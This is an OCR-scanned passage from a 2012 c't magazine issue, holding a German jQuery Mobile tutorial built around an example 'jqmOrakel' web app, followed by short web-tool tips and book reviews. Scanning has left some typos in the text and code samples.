ein. Mit welcher Animation das vonstatten
geht, legt das Attribut data-transition fest. Beim
Herunterladen kreist zuerst der Wartekringel.
Ist die Seite bereit zur Anzeige, gleitet sie bei
data-transition="slide" von der Seite herein. Stan-
dardmaBig verwendet jQuery Mobile die
Animation ,fade” (Einblenden).

Soll eine Seite als Eingabedialog ange-
zeigt werden, reicht dafur das zusétzliche At-
tribut data-rel="dialog":

<a href="abfrageDialog.html" data-rel="dialog">
Abfrage erfassen</a>

Seitenubergédnge lassen sich natirlich auch
per JavaScript programmieren:

$.mobile.changePage("answerView.html",
{ transition: "slideup" } );

Das erste Argument der Funktion changePage()
zum Seitenwechseln ist die Seite, auf die ge-
wechselt werden soll. Das zweite gibt die
gewdinschte Animation beim Seitenlber-
gang an.

Alle Aufrufe beginnen mit dem fur jQuery
Mobile typischen Dollarzeichen. Alle speziel-
len Funktionen von jQuery Mobile sind via
$.mobile erreichbar.

wiTelekom.de = 11:41

Die App jJgmOrakel ist eine
Beispielanwendung zu einem c't Artikel
(ber jQuery Mobile.

Autor: Gerhard V6lkl

Die Orakel-Anwendung besteht aus vier Seiten: Eine zur Eingabe der Frage (jgmOrakel.html), eine fiir die
Antwort (answerView.html), eine mit der Liste der Sprichwérter (listView.html), aus denen eine JavaScript-
Funktion eine Antwort bastelt, und eine mit einigen Informationen tiber die App (infoView.html).

Die Schaltzentrale in der jQuery-Mobile-Beispielanwendung st die untere Navigation (Toolbar).

c't2012, Heft 15
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<IDOCTYPE html>
<html>

<head>

<title>jqmOrakel</title>

<meta name="viewport"

<link rel="stylesheet" href="http://code.jquery.com/mobile/1.1.0/jquery.mobile-1.1.0.min.css" />
<script sre="http://code.jquery.com/jquery-1.7.1.min.js"></script>

<script sre="http://code. jquery.com/mobile/1.1.0/jquery.mobile-1.1.0.min.js"></script>

</head>

<body>
<div data-role="page" id="infoPage" data-theme="b">

<div data-role="header" data-position="fixed" data-theme="b">
<h1>jqmOrakel Info</h1>
</div><!-- /header -->

«div data-role="content">
Die App <strong>jgmOrakel</strong> ist die Beispielanwendung zu einem
Artikel iiber jQuery Mobile in c't von Gerhard Volkl.

</div><!-- /content -->

«div data-role="footer" data-position="fixed" data-id="persFooter">
«div data-role="navbar">
<ub>
<li><a href="jqmOrakel.ntml" data-icon="nome">Orakel</a></li>
<li><a href="listView.html" data-icon="gear">Liste</a></li>
<li><a href="infoView.html" data-icon="info">Info</a></li>
<ful>
</div><!-- /navbar -->
</div><!-- /footer -->

</div>

</body>
</html>

Toolbar : text Elemente zur Navigation oder Befehls-

jQuery Mobile bringt eine Menge von Steu- LT S C L

erelementen (Widgets) mit, die HTML ver-
missen ldsst. Besser noch: Sie reagieren auf
Berlihrung und sehen aus wie die Eingabe-
elemente in Apps. Als einfaches Beispiel soll
die Uberschriftenleiste (header bar) dienen.
Sie befindet sich oben auf der Bildschirm-
seite und kann zusatzlich zum Uberschriften-

<div data-role="header" data-position="fixed">
<h1>jgmOrakel Info</h1>
</div>

jQuery Mobile erzeugt die Leiste automa-
tisch aus dieser Definition. Mit data-
position="fixed" bleibt die Leiste immer am obe-

$('#answerPage').live('pageshew', function(event){
if (window.DeviceMotionEvent) {
$(window).bind('devicemotion', onDeviceMotion);
} else {
alert('No Motion Sensor');

var lastEvent = null;

function onDeviceMotion(event) {
if (lastEvent == null) {
lastEvent = event.originalEvent.accelerationIncludingGravity;

else {
var current = event.originalEvent.accelerationIncludingGravity;
if ((Math.abs(lastEvent.x - current.x) > &) ||
(Math.abs(lastEvent.y = current.y) > 4) ||
(Math.abs(lastEvent.z - current.z) > 4))

In der Beispiel-App

‘,‘;a‘f'f?"d"mp"i"t()" kann der Anwender
lastEvent = current; alternativ das Gerat
; schiitteln, um zu
) einer Antwort zu
kommen.
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Eine Bildschirmseite
definiert jQuery Mobile
durch <div>-Elemente mit
entsprechenden Rollen
(,data-role”).

renRand, auch wenn der Anwender den sich
darunter befindenden Bereich scrollt. Hier
kommt wieder die Abhédngigkeit vom ver-
wendeten Browser ins Spiel. Dies gelingt
dem Framework eben nur, wenn dieser feste
Positionierung von HTML-Elementen via
Stylesheet (CSS) unterstitzt. Andernfalls rollt
die Uberschriftenleiste weg, wie ohne das At-
tribut ,fixed”.

Ein beliebtes Element in der Uberschrift ist
ein pfeilformiger Befehlsknopf mit der Be-
schriftung ,,Zurlick”, wenn man von einer an-
deren Seite auf die gerade aktuelle gewech-
selt ist. Versieht man die Page mit dem Attri-
but data-add-back-btn="true" wird dieser ohne
weiteres Zutun von jQuery Mobile erzeugt.

Ein weiterer Vertreter aus der Befehlsleis-
tenfamilie ist die Navigationsleiste, die die
Beispiel-App im FufBlbereich des Bildschirms
verwendet:

<div data-role="navbar">
<ub>
<li><a href="jqmOrakel.html"
data-icon="home">Orakel</a></li>
<li><a href="listView.html"
data-icon="gear">Liste</a></li>
<li><a href="infoView.html"
data-icon="info">Info</a></li>
</ul>
</div>
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Die gangigsten Steuerelemente von jQuery Mobile

<button>Antwort anzeigen</button>

<input type="checkbox">Checkbox</input>

Select Menu

<label for="select-choice-0" class="select">
Select menu:</label>

<select name="select-choice-0" id="select-choice-1">
<option value="standard">Standard: 7 day</option>
<option value="rush">Rush: 3 days</option>
<option value="express">Express: next day</option>
<option value="overnight">Overnight</option>

</select>

Flip toggle switch:

<label for="on-off-slider">Flip toggle switch:</label>
<select data-role="slider" id="on-off-slider">

<option value="on">0n</option>

<option value="off">0ff</option>
</select>

Textarea:

I'm a basic textarea. If this is pre-
populated with content, the height will
be automatically adjusted to fit without
needing to scroll.

<label for="textarea-a">Textarea:</label>
<textarea name="textarea" id="textarea-a">
I'm a basic textarea. If this is

pre-populated with content, the height will be
automatically adjusted to fit without

needing to scroll.

</textarea>

Mit den Augen eines HTML-Designers gese-
hen, ist diese Definition nichts anders als ein
<div>-Element, in dem sich eine Auflistung
von Links, reprasentiert durch <ul>- und <li>-
Elemente, befindet. Eine Navigationsleiste
mit verschiedenen Symbolen macht erst
jQuery Mobile daraus.

c't2012, Heft 15

Radio buttons horicontal:

<fieldset data-role="controlgroup"
data-type="horizontal">
<input type="radio" name="radio-choice"
id="red" value="r" />
<label for="red">Red</label>
<input type="radio" name="radio-choice"
id="green" value="g" />
<label for="green">Green</label>
<input type="radio" name="radio-choice"
id="blue" value="b" /> '
<label for="blue">Blue</label>
</fieldset>

<div data-role="header" data-position="fixed"
data-theme="b">
<h1>Antwort</h1>
</div>

<div data-role="controlgroup" data-type="horizontal">
<a data-role="button" href="yes.html" >Ja</a>
<a data-role="button" href="no.htm(">Nein</a>
<a data-role="button" href="maybe.html">Hm</a>
</div>

Input slider:

<input type="range" name="slider" id="slider"
value="60" min="0" max="100" data-highlight="true"
>

Search Input:

<label for="search-basic">Search Input:</label>
<input type="search" name="search" id="search-basic"
value="" />

Auf diesen Designgrundsatz trifft man
immer wieder: Der Entwickler definiert das
Gewiinschte Uber die gewohnten HTML-
Elemente, jQuery Mobile interpretiert diese
und fligt die notwendigen Funktionen und
CSS-Stile hinzu. Das unterscheidet jQuery
Mobile von anderen Frameworks, die nicht

Know-how | jQuery Mobile

<div data-role="footer" data-position="fixed" data-
id="persFooter">
<div data-role="navbar">
<ul>
<li><a href="jgmOrakel.html"
data-icon="home">Orakel</a></li>
<li><a href="listView.html"
data-icon="gear">Liste</a></li>
<li><a href="infoView.html"
data-icon="info">Info</a></li>
</ul>
</div>
</div>

Text Input:

input with Placeholder

<label for="basic1">Text Input:</label>

<input type="text" name="name" id="basic1"

value="" />

<input type="text" name="name" id="basic2"

value="" placeholder="Text input with placeholder" />

Radio buttons vertical:

<fieldset data-role="controlgroup"
data-type="vertical">
<input type="radio" name="radio-choice"
id="red" value="r" />
<label for="red">Red</label>
<input type="radio" name="radio-choice"
id="green" value="g" />
<label for="green">Green</label>
<input type="radio" name="radio-choice"
id="blue" value="b" />
<label for="blue">Blue</label>
</fieldset>

ohne zusatzliche JavaScript-Funktionsauf-
rufe im HTML-Text auskommen.

Eingabe

Bevor die Beispiel-App irgendwelche Aussa-
gen treffen kann, bendtigt sie zuerst einmal
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die Frage, die dem Anwender durch den
Kopf geht. Er kann sie einfach Gber eine wie
folgt definierte Texteingabe eintippen:

<label for="mainPage_textFrage">Ihre Frage:</label>
<input type="text" id="mainPage_textFrage"
value="" placeholder="Ihre Frage" />

Das <label>-Element zur Beschreibung der
Eingabe gehért zum HTML5-Standard und
sollte nicht fehlen, damit jQuery Mobile es
vom Layout her so aussehen lassen kann wie
bei einer programmierten App.

Von JavaScript aus kommt man mit fol-
gender Zeile an die Eingabe des Anwenders:

$(‘#mainPage_textfrage').val()

Die Funktionval() liefert den aktuellen Wert des
Eingabeelementes zuriick. Die Funktion $(),
die auch als Selektor bezeichnet wird, schickt
jQuery auf die Suche im DOM nach einer Viel-
zahl von Kriterien, im Beispiel nach einer ein-
deutigen ID hat (,mainPage_textFrage”), und
gibt das gefundene Element zuriick - oder
eine Liste gefundener Elemente, falls mehrere
auf das Kriterium passen. Der Aufbau der Zei-
chenkette zum Suchen ist an die Syntax von
CSS angelehnt. So findet $(".foo") zum Beispiel
alle Elemente der CSS-Klasse ,foo”.

Die IDs aller Elemente in einer Web-App
mussen eindeutig sein, also auch seiteniiber-
greifend, weil jQuery Mobile mehrere Seiten
gleichzeitig im DOM halten kann.

val() lasst sich Gbrigens auch benutzen, um
derTexteingabe einen Wert zuweisen:

$(‘#mainPage_textfrage').val('Hallo')

Ereignisse

Ist die Eingabe des Benutzers abgeschlossen,
soll es per Knopfdruck auf die néchste Seite
(answer.html) gehen:

$(‘#mainPage_showAnswerButton').live('click',
function(event){ /* ... */ });

Sobald der Anwender auf den Knopf mit der
ID ,mainPage_showAnswerButton” driickt,
wird das Ereignis ,click” ausgel6st, hinter das
man mit der jQuery-Funktion live() eine eige-
ne Funktion klemmen kann. .

Das Besondere an live() ist, dass es das Ele-
ment zu dem Zeitpunkt, zu dem die Funktion
ausgefihrt wird, nicht geben muss. Das funk-
tioniert so: Lost der Anwender das Click-Ereig-
nis der Schaltflache aus, wandert das Ereignis
durch Event-Bubbling im DOM-Baum nach
oben bis er einen Click-Handler findet, der auf
ihn reagiert. In der Wurzel des DOM-Baumes
gelangt es so bis zur document-Eigenschaft des
aktuellen Fensters. Dort reagiert der jQuery-
interne Handler auf das Ereignis und schaut in
der Liste registrierter Handler nach, ob dort
einer zu finden ist, der mit dem auslésenden
Element verkniipft ist. Ist das der Fall, fihrt er
ihn aus. Freilich ist das viel zeitaufwendiger,
als ein Element direkt mit einem Handler zu
verknupfen, also ohne Bubbling. Wenn man
sicher ist, dass das zu verknlpfende Element
bereits vorhanden ist, bindet man den Hand-
ler besser perbind() daran.
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AuBBer den standardméBig in HTML vor-
handenen Ereignissen bietet jQuery Mobile
zusatzliche an, die sich vor allem auf die Sei-
tenwechsel und Touch-Bedienung beziehen
(siehe Tabelle unten).

Besondere Bedeutung kommt dem Ereig-
nis ,pageinit” zu, das jQuery Mobile immer
dann ausldst, wenn eine neue Seite ange-
zeigt wird:

$('#aPage’).live('pageinit', function(event) {

/* Seite initialisiert */
)
Fur diesen Zweck kdnnte man auch mit $(do-
cument).ready() auf die Fertigstellung des DOM
reagieren. Das funktioniert jedoch nur bei
einer vom Browser geladenen Seite, aber
nicht bei einer per Ajax geladenen, von der
jamehrere im DOM héngen kénnen.

Wenn der Anwender wie in der Beispiel-
App zwischen Seiten hin- und herwechseln
kann, ist es sicherer, zur Initialisierung das Er-
eignis ,pageshow” zu verwenden, da dieses
jedes Mal ausgel6st wird, sobald die Seite auf
dem Display erscheint.

Ubrigens: Der Ordnung halber hatte ich die
live()-Aufrufe im Prototypen der Beispiel-App
in den Header-Bereich der HTML-Datei ge-
schrieben. Das ergab folgenden Effekt: Wenn
die Seite direkt geladen wurde, hat alles wun-
derbar funktioniert. Wurde die Seite aber per
Link von einer anderen Seite gestartet, pas-
sierte — nichts. Die Problem entsteht aus dem
Verhalten von jQuery Mobile beim Nachladen
einer Seite per Ajax: Wahrend bei der ersten
geladenen Seite der Browser ganz normal den
Header-Bereich auswertet und alle JavaScript-
Befehle ausflihrt, ignoriert jQuery Mobile die-
sen Bereich beim Nachladen via Ajax.

Daher sollten sich die JavaScript-Befehle
im Body-Bereich nach <div data-role="page"> be-
finden. Dadurch verliert man zwar etwas an
Ubersicht, aber immerhin funktioniert es.

Maus

Damit die Beispiel-App die richtige Antwort
auf die Frage finden kann, benétigt sie etwas
magische Energie des Anwenders, die er
durch Berlihren des Display an die App Uber-
tragen soll. Die Information, wo die Ber(h-
rung stattfindet oder - falls das Programm
auf einem PC lauft -, wo sich der Cursor be-
findet, liefert jQuery Mobile Giber Maus-Ereig-
nisse. Egal, ob per Bertihrung des Bildschirms
oder Bedienung per Maus, das Framework
I6st immer die gleichen Ereignisse aus:
~vmousedown”, ,vmousemove’, ,vmou-
seup” und ,vclick” (siehe Tabelle unten). Das
WV steht fir ,virtuell” und soll andeuten, dass
es sich dabei nicht um originalgetreue Nach-
bildungen der korrespondierenden Java-
Script-Events handelt, sondern um einheit-
lich abstrahierte. Im Quelltext sieht das bei-
spielsweise so aus:

$(‘#answerPage_Canvas').live('vmousemove',
function(event) {
var x = event.pageX-this.offsetLeft;
var y = event.pageY-this.offsetTop;
var context = $('#answerPage_(Canvas')[0]
.getContext("2d");
context.fillRect(x,y,4,4);
/...
}
i

Die Beispiel-App klinkt sich damit in das Er-
eignis ,vmousemove” im Bereich des Ele-

Bevor die Seite, auf die gewechselt wird, zu sehen ist und noch vor der Animation, die einen Ubergang unterstiitzt.

Die Seite wurde bereits initialisiert, aber die jQuery Mobile Plug-ins sind noch nicht vollstandig in Aktion getreten.

Ereignis Bedeutung
tap Der Anwender hat kurz auf das Display getippt.
swipe Der Anwender hat mit einem Finger iiber das Display gewischt.
swipeleft Der Anwender hat nach links gewischt.
swiperight Der Anwender hat nach rechts gewischt.
vmouseover Die Maus oder der Finger des Anwenders befindet sich auf einem bestimmten Element.
vmousedown Der Mausknopf wurde nach unten gedriickt oder der Anwender hat das Display beriihrt.
vmousemove Die Maus wird bewegt oder der Anwender fahrt mit dem Finger iiber das Display.
vmouseup Der Mausknopfwurde ... oder der Anwender beriihrt das Display nicht mehr.
Seite laden
Bevor eine Seite in den Speicher geladen wird.
Nachdem eine Seite erfolgreich in den Speicher geladen wurde.
Nachdem das Laden einer Seite nicht erfolgreich war.
pagebeforechange Bevor der Wechsel von einer auf eine andere Seite erfolgt ist.
pagechange Nachdem die Seiten geladen und alle Animationen ausgefiihrt wurden.
pagechangefailed Seitenwechsel war nicht erfolgreich.
pagebeforeshow
pagebeforehide Bevor die Seite nicht mehr zu sehen ist.
pageshow Nachdem die Seite nach der Animation zu sehen ist.
pagehide Nachdem die Seite nicht mehr zu sehen ist, nach der Animation.
pagebeforecreate
pagecreate Seite wurde initialisiert, aber noch nicht alle Widgets. Hier kannen eigene Widgets integriert werden.
pageinit Seite vollstandig initialisiert.
pageremove Bevor die Seite von jQuery Mobile aus dem DOM entfernt wird.
orientationchange Der Anwender hat das Handy gedreht.
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PhoneGap

Falls man mit seiner Web-App Geld verdie-
nen mochte, kann man mit dem kostenlo-
sen Framework PhoneGap daraus eine App
fur die Plattformen iOS, Android, Blackberry,
Windows Phone, WebOS, Symbian und
Bada machen. Das funktioniert allerdings
nicht per Knopfdruck: Sie brauchen auf
jeden Fall die Entwicklungsumgebung fur
die jeweilige Plattform, die Sie bedienen
wollen. Dies soll sich in Zukunft andern, da
PhoneGap einen Cloud-Service (https://
build.phonegap.com/) anbieten will, der aus
den Quelldateien automatisch die fertigen
Apps erzeugt. Dieser ist aktuell in der kos-
tenlosen Beta-Phase, wird spater aber nicht
kostenlos sein.

Die Beispiel-App jgmOrakel habe ich mit
PhoneGap fir iOS ausprobiert. Grundsatz-
lich braucht man dafiir einen Mac mit OS X
10.7 (Lion) oder besser und die Entwick-
lungsumgebung Xcode, dazu die Zip-Datei
PhoneGap (siehe c't-Link). In dieser befin-

ments mit der ID ,answerPage_Canvas” ein.
jQuery Mobile 16st nach jeder Veranderung
der Position des Fingers oder der Maus auf
dem Display aus, sofern dies im Bereich des
angegebenen HTML-Elements geschieht, in
diesem Fall ein HTML5-Canvas-Element, eine
Fldche auf dem Bildschirm, auf die man per
JavaScript etwas zeichnen kann [2].

Das Ereignis liefert ein Event-Objekt zu-
riick, dessen Attribute pageX und pageY die ak-
tuelle Position des Cursors enthalten. Da sich
diese Koordinaten auf die ganze Seite bezie-
hen, aber die Position innerhalb der Zeichen-
flache bendtigt wird, zieht die Funktion die
Koordinaten der Zeichenflache davon ab.
Das Objekt, auf das sich ein Ereignis bezieht,
legt jQuery Mobile in der Variable this ab.

Funktionalitat

Bei der Entwicklung von Apps fiir mobile Ge-
rdte ist besonders interessant, wie eingebau-
te Sensoren (GPS, Gyroskop, Kamera, ...) aus-
gelesen und angesteuert werden konnen.
Das W3C-Konsortium, das fir die Internet-
Standards zustandig ist, definiert nach und
nach entsprechende Programmierschnitt-
stellen, aber welche der jeweilige Hersteller
umsetzt und bis wann das passiert, ist unge-
wiss. Die Website http://mobilehtml5.org/
liefert eine Ubersicht, welche Funktionen
welches Gerét aktuell zur Verfligung stellt.

Fur die Beispiel-App interessiert konkret
das Auslesen des Bewegungssensors, denn
die Ubertragung der magischen Energie vom
Anwender ins Mobilgerét soll nicht nur per
Berlihren, sondern auch per Schutteln még-
lich sein. Da es ein Ereignis ,schitteln” nicht
gibt, kann man es selbst Gber die W3C-Stan-
dardschnittstelle fir Bewegungssensoren
(siehe Listing auf Seite 174) erstellen.
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det sich im Ordner lib/ios ein Installations-
paket fir Apple, das nach Ausfuhrung eine
zusatzliche Projektvorlage ,Cordova-based
Application” in Xcode angelegt hat. Der
Name Cordova kommt daher, dass Phone-
Gap gerade dabei ist, ein Teil der Apache
Foundation unter dieser neuen Bezeich-
nung zu werden.

Nach dem Erstellen eines neuen Projektes
muss man einen Ordner www hinzuflgen,
der alle HTML-, JavaScript-, und CSS-Datei-
en enthalten sollte, die zur App gehoren.
Nun noch auf den Kompilieren-Knopf dru-
cken, sich kurz gedulden - und fertig. Die
Beispielanwendung lauft im iPhone-Emula-
tor ohne erkennbare Probleme.

Ein zusatzlicher Pluspunkt von PhoneGap
sind eigene Programmierschnittstellen fur
Smartphone-spezifische Gerate, wie Senso-
ren oder Kamera, da diese nicht ohne Wei-
teres durch Standards abgedeckt sind.

Im Listing erstellt jQuery Mobile die Ver-
bindung zum Ereignis ,devicemotion” statt
live() mit bind(). Der Browser |6st das Ereignis
bei jeder erkannten Bewegung des Gerdts
aus. Die Funktion onDeviceMotion(), die darauf
reagiert, bekommt das Argument event mit
allen Informationen zur aktuellen Lage. Das
Ereignis ,devicemotion” gehort nicht zu den
von jQuery virtualisierten Ereignissen, des-
halb stehen dessen Eigenschaften nicht di-
rekt unterhalb von event zur Verfligung, son-
dern unter event.originalkvent. Die Eigenschaft
accelerationIncludingGravity enthalt die Beschleuni-
gung des Geréts in X-, Y- und Z-Richtung in-
klusive Schwerkraft (m/s?). Ein Gerét, das
flach und regungslos auf einer Ebene liegt,
liefert demnach {x: 0, y: 0, z 9.81}.

Serverkommunikation

In der Beispiel-App werden alle verwendeten
Sprichworter aus der Datei answer.txt gelesen,
die das Programm vom Anwender unbemerkt
mit Ajax nachladt. Dafur geniigt ein Befehl:

$.get("answer.txt",
function(data) {
var lines = data.split("\n");
/...
h;

Bei nicht-statischen Inhalten braucht man,
wie bei Webseiten auch, serverseitiges Scrip-
ting mit JSP, ASP, ColdFusion oder meistens
PHP. Die Integration in die Web-App geht
mit folgenden Zeilen:

<div id="Info"></div>
<script>
$("#Info").Load("time.php")
</script>

Know-how | jQuery Mobile

Die jQuery-Funktion load() ladt den HTML-
Text der PHP-Seite time.php und platziert ihn
dort, wo sich das <div>-Element mit der ID
JAnfo” befindet.

App-gelegt

Eine grundsdtzlich unschone Eigenschaft
von Web-Apps ist, dass man sie wie jede an-
dere Webseite aus dem Browser starten
muss. Besser wédre es, wenn man sie wie ge-
wohnliche Apps einfach auf dem Bildschirm
antippen kénnte.

Bei iPhone und iPad lasst sich das relativ
einfach realisieren, wenn der Anwender mit-
spielt. Dieser muss nur im Safari-Browser auf
das Icon fiir weitere Funktionen driicken, so-
bald er die Webseite geoffnet hat. Dieses
Icon befindet sich beim iPhone unten in der
Mitte, beim iPad links oben.

In dem dann erscheinenden Menti gibt es
die Auswahl ,Zum Home-Bildschirm”. Einmal
draufgedriickt und die Web-App erscheint
auf dem Bildschirm neben allen anderen
Apps. Damit das problemlos funktioniert,
sollte die erste Seite im Header-Bereich diese
zwei Zeilen enthalten:

<meta name="apple-mobile-web-app-capable"
content="yes">
<link rel="apple-touch-icon" href="Logo.png" />

Die erste informiert den Browser darlber,
dass es sich um eine Web-App handelt. Die
zweite verweist auf die Bilddatei, die als Icon
auf dem Bildschirm dient.

Unter Android missen Sie die gewiinsch-
te Seite zundchst als Lesezeichen speichern.
Unter ,Lesezeichen” im Menu wéhlen Sie das
gespeicherte Lesezeichen durch langes An-
tippen aus und dann aus dem Kontextment
+Ablegen auf dem Startbildschirm”.

Am einfachsten geht es auf einem Windows
Phone: Dort wahlen Sie im Browser-Menii , Auf
Startseite”, um die aktuell angezeigte Websei-
te als Kachel auf die Startseite zu kleben.

Summa summarum

Das Framework jQuery Mobile bieteteine ein-
fache Art, Oberflachen zu erstellen, die wie
Apps aussehen. Bei der Funktionalitét, die da-
riber hinaus geht, ist so viel mdglich, wie die
Hardware oder der Browser des Herstellers er-
laubt. Damit kann man abhéngig vom Inhalt
der Web-App nahe an die Apps der jeweiligen
Plattformen herankommen, ohne an den oft
kostenpflichtigen Entwicklerprogrammen der
Hersteller teilnehmen zu mussen. Probieren
Sie die Beispiel-App jgmOrakel aus und sehen
Sie selbst, wie weit man kommen kann. (ola)
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Web-Helferlein

www.smore.com/clippy-js

Mit Clippy.js kann man Besuchern
seiner Website einen kleinen Schre-
cken einjagen - sofern sie die spre-
chende Buroklammer aus alteren
Office-Versionen kennen und has-
sen gelernt haben. Alle anderen
werden die Buroklammer im Kon-
text einer Website vielleicht sogar
niedlich finden.

Auf der sehr ansprechend in
Form eines Word-Fensters gestalte-
ten Homepage lasst sich Clippy tes-
ten. Dort finden sich auch Code-
Beispiele, die demonstrieren, wie
man die Biroklammer in seine Webseiten
einbaut und was sie alles machen kann. Die
anderen animierten Office-Helferlein - der
Zauberer Merlin, der Hund Rover und die
Katze Links - sind ebenfalls dabei. Clippy.js
steht unter der MIT-Lizenz, jeder darf die
JavaScript-Skriptsammlung in seine Home-
page einbauen. (jo)

Code-Puzzle
http://code.google.com/p/google-blockly

Googles grafische Entwicklungsumgebung
Blockly soll Anfangern den Start in die Pro-
grammierung besonders einfach machen.
Wie mit Puzzle-Stiicken klickt man dort im
Browser Kontrollstrukturen, Schleifen, Pro-
zeduren und Anweisungen zusammen. Die

€« C ® biockly-demo.appspot.com’ codte/inde:
C10OACe O Ot (2o [ talkabout » “Tools s... 2

Blockly > Demos > Code

JavaScript XML
Control
Logic

Text

Lists
Variables
Procedures

fertigen Anwendungen lassen sich sofort
ausprobieren. Einige Beispiele sollen das Ver-
standnis von Blocklys Code-Blocken erleich-
tern. Blockly kann seine grafischen Program-
me auf Wunsch in JavaScript, Dart, Python
oder XML Ubersetzen. (jo)

Software-Alternativen
http://alternativeto.net

Wenn der Browser nervt, kennt man in der
Regel ein paar Alternativen. Bei speziellerer
Software aber wird es schwierig: Was nimmt
man, wenn das FTP-Programm oder der Pass-
wortverwalter ersetzt werden sollen? alter-
nativeTo nennt potenziellen Ersatz: Man gibt
einfach das Programm in die Suchmaske ein,
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([ Weitere L esezeichen

das ersetzt werden soll, der Dienst spuckt
Alternativen aus.

Dabei kennt alternativeTo nicht nur Win-
dows-, Mac-0S- und Linux-Software, sondern
auch Web-Dienste sowie iOS-, Android- und
BlackBerry-Apps. Jeder Besucher kann weite-
re Alternativen beisteuern oder die Bespre-
chungstexte der bereits vorhandenen Pro-
gramme und Dienste editieren. Dazu muss er
sich nur gratis mit seinem Google-, Facebook-,
Yahoo-, Twitter- oder einem anderen Open-
ID-Account bei alternativeTo anmelden. (jo)

Metamediathek
http://fernsehsuche.de

Wo gab es in letzter Zeit einen Fernseh-
beitrag zum Betreuungsgeld oder zu den
Hells Angels? fernsehsuche.de
durchsucht die Mediatheken et-
licher Sender und liefert die Ant-
wort. Der Dienst durchforstet
daftr die Volltexte der Pro-
grammbeschreibungen. Zudem
kann der Benutzer die Suche auf
Sendungen von bestimmter
Lange und an bestimmten Ta-
geszeiten einschranken. Nach
eigenen Angaben durchsucht
fersehsuche.de das Erste, ZDF,
RTL, Sat.1, 3sat, Vox, Super RTL,
RTLIl, ZDFneo, WDR, hr, RBB,
NDR, MDR, Radio Bremen TV,
SWR, SR, ZDFinfo und ZDFkultur. Allerdings
waren die Ergebnisse bei einigen unserer
Stichproben nicht vollstandig. Auch fehlte
zum Beispiel arte. (jo)

14BN

Herunterkommen

http://calm.com
www.ergo-online.de/site.aspx?url=html/
gesundheitsvorsorge/vorsorge_augen/
uebungen_zur_entspannung_der_.htm

Haben Sie sich auch schon mal von |hrer Ar-
beit ganz weit weg gewdlinscht? An einen
einsamen Strand etwa oder an einen plat-
schernden Gebirgsbach? calm.com versetzt
Sie an einen abendlichen See oder in ein
Feld, durch das ein sanfter Wind streicht. Wer

es mag, kann die Szenerie auch mit Musik
oder einer englischsprachigen Entspan-
nungsanleitung unterlegen lassen.

Bei calm.com mag sich die Seele zwar ein
wenig erholen — die Augen entspannen sich
beim Blick auf den Monitor allerdings nicht.
Wer seinen von der Bildschirmarbeit ge-
stressten Augen etwas Gutes tun will, sollte
regelméafig Pausen einlegen und auch mal
gezielt vom Monitor weg in die Ferne sehen.
ergo online informiert Uber das Thema
~Augen und Bildschirmarbeit” und listet eine
Reihe von Ubungen auf, mit denen man
auch seinen Augen ein wenig Erholung ver-
schaffen kann. (jo)

Code testen

http://jsfiddle.net
http://ideone.com

In der letzten c't-Ausgabe haben wir den
Dienst Thimble vorgestellt, bei dem man
online HTML und CSS bearbeiten kann.
jsFiddle beherrscht auch JavaScript. In drei
Fenster gibt der Entwickler dort HTML-, CSS-
und JavaScript-Code ein, ein Viertes prasen-
tiert das Ergebnis. Dabei kann man eines aus
einem guten Dutzend JavaScript-Frame-
works einbetten.

Ideone.com wiederum eignet sich, um
schnell mal Code in mehr als 40 Program-
miersprachen auszuprobieren, von Ada Gber
C(++) und COBOL bis zu Whitespace. Man
schmeif3t sein Elaborat in ein Fenster, drtickt
~run code”, und schon tibersetzt Ideone.com
es und fuhrt es aus. Normalerweise listet der
Dienst alle an ihn Gbermittelten Programme
unter ,recent codes” auf.

Man kann seinen Code aber auch als ,pri-
vate” deklarieren und so fremden Augen vor-
enthalten. Wer sich kostenlos bei Ideone.
com registriert, der kann seine Programme
dort auch direkt editieren und komplexere
Programme ausfiihren, die bis zu 15 Sekun-
den Rechenzeit statt der sonst vergebenen
5 Sekunden erhalten. Der Quelltext darf ma-
ximal 64 KByte grof sein, an Speicherplatz
stehen maximal 256 MByte zur Verfligung,
Ein- und Ausgaben lassen sich nur Gber stdin
und stdout realisieren. (jo)

www.ct.de/1215178
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Embedded-
Software
entwickeln

Grundiagen der Programmierung
eingebetteterSysteme —
Eine Einfihrung fiir Anwendungsentwickler
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Thomas Eienléffel

Embedded-Software
entwickeln

Grundlagen der Programmierung
eingebetteter Systeme

Der Begriff ,Embedded Systems” steht fur
Kleinstcomputer, die in Geratschaften von
der Kamera bis zum Kuhlschrank fest inte-
griert sind und diese steuern. Der Markt dafiir
wachst seit Jahren; dementsprechend grof3
ist der Bedarf an kompetenten Software-
Entwicklern fir diese Systeme. Ei3enloffels
Buch versucht, eine Briicke zu schlagen zwi-
schen den Entwicklern mit Anwendungs-
und denen mit Hardware-Schwerpunkt.

Leider verspricht der Titel mehr, als das
Buch hélt. Die Lektire versetzt niemanden
in die Lage, aus dem Stand heraus Pro-
gramme fir Mikrocontroller zu entwickeln.
EiBenloffel vermittelt eher umfassend theo-
retische Aspekte und Konzepte zur Soft-
wareentwicklung und geht nur nebenbei
auf Besonderheiten von Embedded Sys-
tems ein. Vier Funftel des vermittelten Wis-
sens lassen sich auf nahezu alle Software-
entwicklungsprojekte anwenden. Themen-
spezifisches bildet die Ausnahme.

Der Prozess der strukturierten Software-
entwicklung ist sehr ausfihrlich in sieben
Kapiteln beschrieben. AuB3er den Grundla-
gen behandelt das Buch auch Anforde-
rungsanalyse, Architektur und Design von
Software. Den groBten Raum nimmt der
Bereich der Implementierung ein, aber
auch dort geht es nur am Rande um Em-
bedded Systems. Das Kapitel zum Thema
Test geht noch am ehesten auf Anforderun-
gen dieser Systeme ein. Auch hier bleibt
EiBenloffel jedoch generalisierend.

Am besten ist das Werk fir Informatik-
Uberflieger und Neulinge geeignet, die
einen Uberblick wiinschen. Zum Zielpubli-
kum gehéren etwa Projektverantwortliche
und Entscheider, die einen Entwicklungs-
prozess planen, begleiten und verantwor-
ten mussen. Erfahrene Software-Entwickler
werden in diesem Buch keine Neuigkeiten
finden, selbst wenn sie mit Embedded Sys-
tems bisher wenig zu tun hatten.

(Karl-Heinz Dahlmann/psz)
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Jimmy Maher

The Future was Here
The Commodore Amiga

Heutige Computer werden weitgehend als
Gebrauchsgegenstande wahrgenommen. In
den Boomjahren der Heimcomputer hinge-
gen hatten die Systeme, die zueinander in
Konkurrenz standen, leidenschaftliche Fan-
Gemeinden. Besonders die Amiga-Szene
war beriihmt fir die enge Bindung, die Nut-
zer und Software-Entwickler zu ihren ,Freun-
dinnen” mit der fur damalige Mafstdbe
recht leistungsfahigen Hardware aufbauten.

Der Amiga galt nie als ntichternes Arbeits-
